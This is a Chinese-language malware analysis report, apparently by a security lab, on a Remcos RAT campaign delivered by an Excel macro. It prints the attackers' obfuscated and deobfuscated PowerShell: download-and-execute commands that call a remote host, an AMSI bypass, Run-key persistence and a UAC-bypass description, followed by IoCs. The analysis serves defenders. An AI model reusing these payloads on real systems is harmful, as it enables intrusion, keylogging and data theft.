一、概述
近日,兰云科技银河实验室通过 “兰眼下一代威胁感知系统” 发现了一封邮件中内嵌的 Office 文档通过宏命令来传播最新版的 Remcos 远控木马 (截止本文写作时),邮件附件检测结果如下所示:
Remcos 远控最早可追溯到 2016 年,直到今天,仍比较活跃 (作者一直在不断地更新),现已经更新到了 3.0.0 版 (2021-01-30),此版本为大更新,因为弃用了之前一直在使用的 RC-4 算法 (3.0.0 版本之前),改用了 AES-128。此次传播的 Remcos 远控木马版本号为 2.7.2 (3.0.0 上一个版本,2020-10-22),并且为 Pro 版 (收费版),免费版本目前最高版本为 2.7.0 版,Pro 版目前官方售价如下所示:
根所授权方式的不同,价格也不一样,58 欧元至 389 欧元不等。第三方 (Commodity Malware) 售价如下所示:
以往的 Remcos 大都是通过触发 Office 漏洞来投递,但是此次并没沿用老套路,而仅仅是利用宏执行 PowerShell 命令后多阶段进行,最终执行 Remcos RAT,整个过程如下所示:
二、Office 样本分析
2.1 基本信息
样本基本信息:
从上图可看出,此样本是一个仅为 35KB 大小的 XLS 文件,除此之外,还能获取到编辑此文档的作者信息,名为 Eng Moha。
2.2 宏代码分析
按住 shift 键双击打开文档,打开后如下所示:
从表面上去看会发现 A 列没显示,尝试往左拉动右下角横条,当拉至最左端松开鼠标时会自动回弹到原来位置,换另一种方式,拉动上方的表格的分栏线往右拖动,Em~~,露出了它的真面目了,如下所示:
看到了什么,原来是一段 PowerShell 命令,嵌在了 A5 单元格内,如下所示:
X`E`I|'' nioj- mj$;}))61,_$(61tniot::]trevnoc[(]rahc[{ hcaErof | )'%'(tilpS.ut$=mj$;txet$ nioj-=ut$;)txet$(esreveR::]yarrA[;)(yarrArahCoT.7hg74hg$ = txet$;'27%28%4E%65%27%2B%27%77%2D%27%2B%27%4F%62%27%2B%27%6A%65%27%2B%27%63%74%20%27%2B%20%27%4E%65%27%2B%27%74%2E%27%2B%27%57%27%2B%27%65%62%27%2B%27%43%27%2B%27%6C%69%27%2B%27%65%6E%74%29%27%2B%27%2E%44%27%2B%27%6F%77%27%2B%27%6E%6C%27%2B%27%6F%61%27%2B%27%64%27%2B%27%46%27%2B%27%69%6C%27%2B%27%65%28%27%27%68%74%74%70%3A%2F%2F%61%76%65%6E%74%75%72%61%6D%6F%74%6F%72%68%6F%6D%65%2E%63%6F%6D%2F%77%70%72%6C%2F%68%6F%6D%65%2F%50%72%6F%74%65%63%74%65%64%2E%76%62%73%27%27%2C%24%65%6E%76%3A%41%50%50%44%41%54%41%2B%27%27%5C%6E%6F%74%65%70%61%64%2E%76%62%73%27%27%29%27%7C%49%60%45%60%58%3B%20%73%74%61%72%74%2D%70%72%6F%63%65%73%73%28%24%65%6E%76%3A%41%50%50%44%41%54%41%2B%20%27%5C%6E%6F%74%65%70%61%64%2E%76%62%73%27%29'=7hg74hg$ llehsrewoP
这段 PowerShell 命令看起来有点怪,仔细去看会发现是被反转了而且还混淆了,这个暂且先放在一边。下面我们来看下它所包含的宏,如下所示:
以上为兰眼下一代威胁感知系统对其抽取出来的宏代码,宏代码混淆了,虽然代码量少但它最终要做的事却大:
当激活工作簿时会触发 Workbook_Activate() 执行,主要执行两个函数,分别为 sVyI() 和 fjdfk(),前者将后者返回的值作为参数传递进行运算,fjdfk() 函数主要是将嵌入在 A5 单元格中的混淆 PowerShell 命令反转再处理,为了方便显示 fjdfk 变量最后的值,在动态调试中加入 Debug.Print,这样就能在立即窗口中显示出来了,如下所示:
处理过后的 PowerShell 命令如下:
Powershell $gh47gh7='92%72%37%26%67%E2%46%16%07%56%47%F6%E6%C5%72%02%B2%14%45%14%44%05%05%14%A3%67%E6%56%42%82%37%37%56%36%F6%27%07%D2%47%27%16%47%37%02%B3%85%06%54%06%94%C7%72%92%72%72%37%26%67%E2%46%16%07%56%47%F6%E6%C5%72%72%B2%14%45%14%44%05%05%14%A3%67%E6%56%42%C2%72%72%37%26%67%E2%46%56%47%36%56%47%F6%27%05%F2%56%D6%F6%86%F2%C6%27%07%77%F2%D6%F6%36%E2%56%D6%F6%86%27%F6%47%F6%D6%16%27%57%47%E6%56%67%16%F2%F2%A3%07%47%47%86%72%72%82%56%72%B2%72%C6%96%72%B2%72%64%72%B2%72%46%72%B2%72%16%F6%72%B2%72%C6%E6%72%B2%72%77%F6%72%B2%72%44%E2%72%B2%72%92%47%E6%56%72%B2%72%96%C6%72%B2%72%34%72%B2%72%26%56%72%B2%72%75%72%B2%72%E2%47%72%B2%72%56%E4%72%02%B2%72%02%47%36%72%B2%72%56%A6%72%B2%72%26%F4%72%B2%72%D2%77%72%B2%72%56%E4%82%72';$text = $gh47gh7.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`X
最后创建 WScript.Shell 对象 (F935DC22-1CF0-11D0-ADB9-00C04FD58A0B 为 WScript.Shell 的 CLSID) 并调用 Run 方法运行 PowerShell 命令,如下:
GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run 上述PowerShell命令, 0
为了想知道第一阶段的 PowerShell 命令具体做了哪些事,我们必须对其进行动态调试,如下所示:
代码稍做了些调整,为了方便调试看结果,从上图可以看出 $test 变量的值,并出现了一个网址,解出来的命令如下:
'(Ne'+'w-'+'Ob'+'je'+'ct '+ 'Ne'+'t.'+'W'+'eb'+'C'+'li'+'ent)'+'.D'+'ow'+'nl'+'oa'+'d'+'F'+'il'+'e(''http://aventuramotorhome.com/wprl/home/Protected.vbs'',$env:APPDATA+''\notepad.vbs'')'|I`E`X; start-process($env:APPDATA+ '\notepad.vbs')
去混淆后如下:
(New-Object Net.WebClient).DownloadFile(''http://aventuramotorhome.com/wprl/home/Protected.vbs'',$env:APPDATA+''\notepad.vbs'')|IEX; start-process($env:APPDATA+ '\notepad.vbs')
此段命令会从 http[:]//aventuramotorhome.com/wprl/home/Protected.vbs 下载文件,如下所示:
下载后会存放在 C:\User\用户名\AppData\Roaming 下并重命名为 notepad.vbs,最后将其启动:
notepad.vbs 内容如下:
三、邪恶的 notepad.vbs
notepad.vbs 也被混淆了,同样也需要清楚这个 vbs 脚本具体做了些什么,因此还得动态调试它,如下所示:
为 wscript 添加 /x 参数来启动调试,调试命令如下:
wscript /x notepad.vbs
启动后自动中断到第一行处,如下所示:
在这个 VBS 脚本文件中,其中最重要的是 pexGRQLd() 和 URTSYOemNS() 这两个函数,如下所示:
pexGRQLd() 函数主要是为设置一个自启动项,在 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 创建一个名为 ubYietxJ 项,其值为 C:\Users\zeronohacker\AppData\Local\notepad.vbs,如下所示:
相关实现代码如下所示:
atSSHJiye 变量的值为 &H8000001,表示的是 HKEY_CURRENT_USER 这个根,利用在 root\default 命名空间中的 StdRegProv 类 (标准注册表提供程序) 来实现对注册表进行操作,在运行 URTSYOemNS() 函数后,会启动一个 PowerShell 进程,如下所示:
通过 Process Explorer 对进程进行监控可知,启动的 PowerShell 进程的参数经过了混淆,将参数 dump 出来,如下所示:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-PSReadlineOption -HistorySaveStyle SaveNothing;$JqmGSYFdciEMkrojOGsg='Q4*QF*20*7B*24*70*Q9*QE*Q7*20*3D*20*74*QO*73*74*2D*Q3*QF*QE*QE*QO*Q3*74*Q9*QF*QE*20*2D*Q3*QF*QD*70*20*Q7*QF*QF*Q7*QC*QO*2E*Q3*QF*QD*20*2D*Q3*QF*7O*QE*74*20*31*20*2D*O1*7O*Q9*QO*74*7D*20*7O*QE*74*Q9*QC*20*28*24*70*Q9*QE*Q7*29*3B*24*74*3O*3Q*QQ*Q7*20*3D*20*OB*4O*QE*7O*QD*OD*3A*3A*O4*QF*4F*Q2*QA*QO*Q3*74*28*OB*O3*79*73*74*QO*QD*2E*4E*QO*74*2E*O3*QO*Q3*7O*72*Q9*74*79*O0*72*QF*74*QF*Q3*QF*QC*O4*79*70*QO*OD*2C*20*33*30*37*32*29*3B*OB*O3*79*73*74*QO*QD*2E*4E*QO*74*2E*O3*QO*72*7Q*Q9*Q3*QO*O0*QF*Q9*QE*74*4D*Q1*QE*Q1*Q7*QO*72*OD*3A*3A*O3*QO*Q3*7O*72*Q9*74*79*O0*72*QF*74*QF*Q3*QF*QC*20*3D*20*24*74*3O*3Q*QQ*Q7*3B*OB*O2*QO*QQ*OD*2E*41*73*73*QO*QD*Q2*QC*79*2E*47*QO*74*O4*79*70*QO*28*27*O3*79*27*2B*27*73*74*QO*QD*2E*27*2B*27*4D*Q1*QE*Q1*27*2B*27*Q7*QO*QD*27*2B*27*QO*QE*74*27*2B*27*2E*41*7O*74*QF*QD*27*2B*27*Q1*74*Q9*QF*27*2B*27*QE*2E*41*27*2B*27*QD*27*2B*27*73*Q9*27*2B*27*OO*74*Q9*QC*73*27*29*2E*47*QO*74*4Q*Q9*QO*QC*Q4*28*27*Q1*27*2B*27*QD*73*27*2B*27*Q9*49*27*2B*27*QE*Q9*74*4Q*Q1*27*2B*27*Q9*QC*QO*Q4*27*2C*27*4E*QF*QE*40*40*40*27*2E*72*QO*70*QC*Q1*Q3*QO*28*27*40*40*40*27*2C*27*O0*7O*Q2*27*29*2B*27*QC*Q9*Q3*2C*O3*27*2B*27*74*Q1*74*Q9*Q3*27*29*2E*O3*QO*74*OQ*Q1*QC*7O*QO*28*24*QE*7O*QC*QC*2C*24*74*72*7O*QO*29*3B*24*74*74*79*3D*27*28*4E*QO*77*2D*27*2B*27*4F*Q2*QA*QO*27*2B*27*Q3*74*20*4E*QO*27*2B*27*74*2E*O7*QO*27*2B*27*Q2*43*QC*Q9*27*2B*27*QO*QE*74*29*27*7C*49*Q0*4O*Q0*O8*3B*OB*7Q*QF*Q9*Q4*OD*20*OB*O3*79*73*74*QO*QD*2E*O2*QO*QQ*QC*QO*Q3*74*Q9*QF*QE*2E*41*73*73*QO*QD*Q2*QC*79*OD*3A*3A*4C*QF*Q1*Q4*O7*Q9*74*Q8*O0*Q1*72*74*Q9*Q1*QC*4E*Q1*QD*QO*28*27*4D*Q9*Q3*72*QF*73*QF*QQ*74*2E*OQ*Q9*73*7O*Q1*QC*42*Q1*73*Q9*Q3*27*29*3B*24*QD*7Q*3D*20*OB*4D*Q9*Q3*72*QF*73*QF*QQ*74*2E*OQ*Q9*73*7O*Q1*QC*42*Q1*73*Q9*Q3*2E*49*QE*74*QO*72*Q1*Q3*74*Q9*QF*QE*OD*3A*3A*43*Q1*QC*QC*42*79*QE*Q1*QD*QO*28*24*74*74*79*2C*27*44*QF*77*QE*QC*QF*Q1*Q4*O3*74*72*Q9*QE*Q7*27*2C*OB*4D*Q9*Q3*72*QF*73*QF*QQ*74*2E*OQ*Q9*73*7O*Q1*QC*42*Q1*73*Q9*Q3*2E*43*Q1*QC*QC*O4*79*70*QO*OD*3A*3A*4D*QO*74*Q8*QF*Q4*2C*27*Q8*74*74*70*3B*2F*2F*77*77*77*2E*Q1*7Q*QO*QE*74*7O*72*Q1*QD*QF*74*QF*72*Q8*QF*QD*QO*2E*Q3*QF*QD*2F*77*70*72*QC*2F*Q8*QF*QD*QO*2F*41*74*74*Q1*Q3*QB*2E*QA*70*Q7*27*29*3B*24*72*37*38*QQ*Q4*30*30*30*73*Q4*3D*20*24*QD*7Q*20*2D*73*70*QC*Q9*74*20*27*2O*27*20*7C*4Q*QF*72*4O*Q1*Q3*Q8*2D*4F*Q2*QA*QO*Q3*74*20*7B*OB*Q3*Q8*Q1*72*OD*OB*Q2*79*74*QO*OD*22*30*78*24*OF*22*7D*3B*24*79*3O*QA*Q8*3Q*32*Q4*QQ*30*3D*20*24*72*37*38*QQ*Q4*30*30*30*73*Q4*20*2D*QA*QF*Q9*QE*20*27*27*7C*49*Q0*4O*Q0*O8'.replace('O','5').replace('Q','6');$DFG45DFG0=$JqmGSYFdciEMkrojOGsg.Split('*') | forEach {[char]([Convert]::toint16($_,16))};$DFG45DFG0 -join ''|& (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))
相关实现代码如下:
其中 QZPVkUf() 函数多次使用到,该函数是将字符串参数进行反转,如下所示:
URTSYOemNS() 函数后还有一个小操作,此操作会将 Roaming 目录下的 notepad.vbs 拷贝到 Local 目录下,如下所示:
相关命令如下:
cmd /c copy \"C:\\Users\\zeronohacker\\AppData\\Roaming\\notepad.vbs\" \"C:\\Users\\zeronohacker\\AppData\\Local\" /Y
因为之前已经设置了自启动,如果重启后,就会自动执行 Local 目录下的 notepad.vbs,这样变量 Nghi 和 lEyHtnvmj 相等,之后便退出,也就是说重启后就不会执行这一项操作。那上述那段 PowerShell 主要是做什么呢,为了方便调试看结果,代码稍微做了些许调整,如下所示:
从上述操作后可得出计算后 $Test 的值,如下:
do {
$ping = test-connection -comp google.com -count 1 -Quiet
} until($ping);
$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;
[Ref].Assembly.GetType('System.Management.Automtion.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);
$tty='(New-Object Net.WebClient)'|IEX;
[void][System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'http;//www.aventuramotorhome.com/wprl/home/Attack.jpg');
$r78fd000sd= $mv -split '%' |ForEach-Object {[char][byte]"0x$_"};
$y5jh62df0= $r78fd000sd -join ''|IEX
此段会去远程链接 http[;]//www[.]aventuramotorhome.com/wprl/home/Attack.jpg,其中 http 后跟的不是 : 符号,而是分号,但这不影响连接,如下所示:
谷歌浏览器将其拦截,从文件名来看,会让人误以为是图片文件,其实并不是,里面是一堆混乱的字符,如下所示:
注意右边下拉条,可见包含的字符量有多大,为了想知道这一大串字符到底是什么,我又对代码做了些调整,如下所示:
$mv = "24%73%64%34%73%64%30%30%30%3D%5B%63%68%61%72%5D%37%33%20%2B%20%5B%63%68%61%72%5D%36%39%20%2B%20%5B%63%68%61%72%5D%38%38%0D%0A%73%61%6C%20%79%30%64%66%35%20%24%73%64%34%73%64%30%30%30%0D%0A%0D%0A%0D%0A%0D%0A%66%75%6E%63%74%69%6F%6E%20%73%46%74%77%7A%77%58%44%20%7B%0D%0A%20%20%20%20%70%61%72%61%6D%28%24%46%49%71%6D%44%54%54%29%0D%0A%20%20%20%20%24%46%49%71%6D%44%54%54%20%3D%20%24%46%49%71%6D%44%54%54%20%2D%73%70%6C%69%74%20%27%28%2E%2E%29%27%20%7C%20%3F......"
$r78fd000sd= $mv -split '%' |ForEach-Object {[char][byte]"0x$_"};
$y5jh62df0= $r78fd000sd -join ''|IEX
在 VS 中新建 PowerShell 工程对上述代码进行调试,如下所示:
$y5jh62df0 变量最终得到的值为:
注意上图右边下拉条可知,从 Attack.jpg 解密出来的内容也是相当的多,不过从内容上看,倒发现一个亮点,就是 4D5A,难道,Em~~,这一段极大有可能是一个 PE 文件的十六进制代码,只不过混淆了,所以得动态调试得到这段,从代码风格上看这是 PowerShell 代码,最后就是执行了。接下来来调试 $y5jh62df0 变量值的内容,同样也是 PowerShell 代码,如下所示:
为了显示得全,我将空行删除了,从上图中,需要关注两个变量的值,一个是 $JRqRizhXK,另一个是 $nsDR2,后面这个变量的值之后会用到,主要是前面这个变量的值,将解混淆后的值复制到另一个文本文件中,如下所示:
打开 010Editor,新建一个十六进制文本,如下所示:
以十六进制方式粘贴,如下所示:
最后保存。再回过头来看本小节的第一图上最后一行代码,如下:
[Waves.YEWODSFM]::Y78HJ0R55('notepad.exe',$nsDR2)
PowerShell 里有 [Waves.YEWODSFM] 这个东西吗?这显然不是 PowerShell 标准里的东西,所以上面那个 PE 文件才是关键,第三阶段的 PowerShell 的任务使命就是执行这个 PE 文件。
四、Waves.dll 分析
4.1 基本信息
将上一小节保存下来的 PE 文件用 DIE 查下基本信息,如下所示:
由上图可知,此 PE 文件是用 VB .NET 编写的 32 位 DLL 文件,加了 Confuser 1.X 的壳子。
4.2 提取压缩数据并解压
由于此 DLL 代码写的较简单,大概浏览了一遍,主要功能是将压缩文档数据进行解压,释放到内存中执行 (可绕过检测)。先反汇编简单看下内容,如下所示:
通过反汇编信息来看,此 DLL 名为 Waves.dll,结合上一小节最后提到的,会将 notepad.exe 和 $nsDR2 作为 Y78HJ0R55 的参数来执行,notepad.exe 是正常程序,从内容上看,会将 $nsDR2 变量的值作为 Gzip 包进行解压,如下所示:
在上一小节中通过动态调试可得出 $nsDR2 的值,如下所示:
以同样的方式在 010Editor 新建一个十六进制文本文件将其以十六进制方式粘贴进去,最后保存,再将其拖到 DIE 中检测,结果如下所示:
Em~~,果然如此,此为一个 Gzip 压缩文档,当在本地用 7zip 解压后,火绒右下角弹出危险提示并将其拦截删除,提示此文件为后门病毒文件 (Backdoor/Remcos.g),我直呼好家伙,如下所示:
五、Remcos 远控详细技术细节
5.1 基本信息
关闭火绒重新解压,得到病毒主体,如下所示:
病毒主体是用 Visual C++6.0 编译,编译时间为2020-10-25 03:23:17
,一个 32 位的 GUI 可执行文件。
5.2 解密资源表
病毒运行后会先去对资源表中 SETTINGS 项进行 RC-4 解密,获取 SETTINGS 资源项大小 (0x280),如下所示:
获取大小后动态分配内存,取资源 SETTINGS 项中第 1 个字节 (0x65,RC-4 Key 的长度),将其后的 0x65 大小的数据拷贝到新分配的内存中,如下所示:
此区段字节内容为 RC-4 Key。接下来再次动态分配内存,将剩余的 0x280 – 0x65 – 0x1 = 0x21A 个字节拷贝过去,如下所示:
这部分内容为待解密内容。接下来便进行 CRC-4 初始化,如下所示:
将 0x21A 字节内容通过 sub_403010 进行解密,如下所示:
以上两组函数在后面会多次运用到,从上面解密出来的内容看有以下几个关键字符,字符间是用 |…| 分隔,如下:
servr.killwhenabuse1.xyz:1332
rem dns
remcos.exe
Remcos-GLWJ8X
wiki-pedia;solitaire;
Screenshots (截屏相关)
MicRecords (音频记录相关)
45A3E2943B98E10F443D79C5C1F0E2E5 (licence)
10000
到这基本上就可以确定是 Remcos 远控了,版本为 2.7.2 Pro 版,如下所示:
截止到编写本文时间,Remcos 官网提供的最新免费版本为 2.7.0,收费版本最新为 3.0.0 版 (2021 年 01 月 30 日发布),此 2.7.2 Pro 版为 2020 年 10 月 22 日发布的,这与编译时间很接近。
5.3 -l 开关为何意
解密完 SETTINGS 资源项内容后,接下来便是判断命令行中是否带有 -l 参数,如果存在 -l 参数,便会生成 licence_code.txt 这个文件,如下所示:
手动加上 -l 参数看下这个文本文件中生成了什么内容,如下所示:
Em~~,这一串值貌似和从 SETTINGS 解密出来的其中一项相同,基于硬件某项参数生成的?HWID?NO,当在另一台设备以相同操作运行后,得到的值并没有改变,也许是在控件端生成它时为它分配的一个标识,以便知道是谁创建了它,方便管理,因为专业版可以多个人使用。
5.4 创建互斥体
创建一个名为 Remcos_Mutex_Inj 的互斥体来标记是不是在系统已存在,如下所示:
5.5 收集系统信息
在完成上述操作后便是加载相应 API 函数,以便用来收集系统信息,如下所示:
5.6 绕过 UAC 进行提权
在很早的时候,国外安全研究人员发现了一种能利用 eventvwr 注册表键值的方法来绕过 UAC 的方法,在新版本的 Remcos 中使用到了,此方法是基于 Enigma0x3 的 exploit,它能在 windos 7 (7600) 触发,但是 windows 10 RS2 (15031) 版已修复了该问题,在下图也注意到了 xp 字符,如果 Remcos 在打过相应补丁的 Windows 上运行,它将正常启动,但在 Windows xp 上没有管理员权限,由于 xp 没有 UAC 机制,因此不会触发该利用程序,如下所示:
当 eventvwr.exe 启动时,它会检查是否存在一个指定的 bin 文件用来支持 MMC 的snap-in,至于检查是否存在这个文件的方式便是在HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command
查找键值,如果该键值存在那么该项内容将能用来绕过 UAC,如果不存在那么系统将会加载默认程序。
5.7 注册表操作
将自身可执行路径经过 RC-4 加密写入到 HKEY_CURRENT_USER\Software\Remcos-GLWJ8X 中,键名为 exepath,同时将之前从资源 SETTINGS 项中解密出来的可能为本体的标识符也写入到了该注册表路径下,键名为 licence,如下所示:
5.8 键盘记录操作
创建三个线程,用来将键盘的操作记录到 logs.dat 中,如下所示:
将日志文件保存在 Roaming 目录下,执行后结果如下所示:
5.9 屏幕操作
创建一个线程,线程回调函数中使用 GDI 类 API 来获得屏幕快照,如下所示:
5.10 浏览器操作
sub_407A0A 中创建一个线程,该线程主要作用为清除浏览器登录和 Cookie 信息,如下所示:
浏览器包括 IE 浏览器、谷歌浏览器,火狐浏览器,如下所示:
除上述对浏览器清理登录和 Cookie 外,还会将自身注入到默认浏览器中,通过读取 HKEY_CLASSES_ROOT\http\shell\open\command 键值来获取默认浏览器,相关代码如下所示:
sub_40F3E2 这个函数就为注入实现函数,方式为利用线程执行劫持,如下所示:
以上这段代码和 https://github.com/jozemberi/PE-Crypter/blob/master/runPE.hRemcos 代码极为相似,目的是为了自身在内存中加解密执行。在查看免费版的生成器后,其实不单只针对默认浏览器,还可以指定进程,所以在执行上述注入代码前会有以下操作,如下所示:
5.11 看门狗功能
看门狗功能可以保护 Remcos 进程,可让关于它的文件和注册表项免受破坏 (即保持注册表持久性)。如果程序意外终止,可恢复 Remcos 功能。这样,远程管理员就可以确保永远不会失去对远程设备的控制权,而如果出现问题,则不必在远程控制的计算机上手动重新启动 Remcos,如下所示:
5.12 其它功能
Remcos 还有其它功能,比如文件上传下载,如下所示:
还有接收远程命令执行等,功能太多,不一一列举,具体可以去查看 Remcos 免费版界面上选项,虽然有些选项处于灰色状态。
5.13 上传到 C&C
连接 C&C,将文件上传,如下所示:
产生的日志如下所示:
将 logs.dat 上传到 194[.]5[.]97[.]135 上,端口 1332,这似乎与从 SETTINGS 资源项解密出来的第一个字符有点关系,域名 servr[.]killwhenabuse1.xyz:1332 在 VT 上信息如下所示:
六、结论
从 2016 年 7 月份发布第一个版本到至今 (快 5 个年头了) 共发布了 72 个版本,虽然 Remcos 作者声称应用程序仅供合法使用,但从此次样本分析过程来看,仍有不法分子在利用它,Remcos 是一个强大的工具,正在积极开发,增加许多功能。为了与其对抗,各单位组织机构应该意识到这种威胁,尤其是那些不明来历的邮件 (带有附件),更是要慎重,同时,建议提前部署具备高级威胁检测能力的安全产品进行及时监控、防范,降低安全隐患。
七、IoCs
MD5:
0ad06d008becd7e0d1e17820749f9c5d (Payment remittance.xls)
9c242a912c91ca9eccff78d39fb147ab (notepad.vbs)
0868d7221a338270097a2a58cc0348bc (Attack.jpg)
2acfd20201382b2765637f5334bc3281 (Gzip_dump)
5635f45bd2f42b704b252de85fdb919e (Gzip_dump.exe)
C&C:
194.5.97.135:1332
URL:
http[:]//aventuramotorhome.com/wprl/home/Protected.vbs
http[;]//www[.]aventuramotorhome.com/wprl/home/Attack.jpg
servr[.]killwhenabuse1.xyz:1332
来源:freebuf.com 2021-02-02 19:14:55 by: 兰云科技银河实验室
请登录后发表评论
注册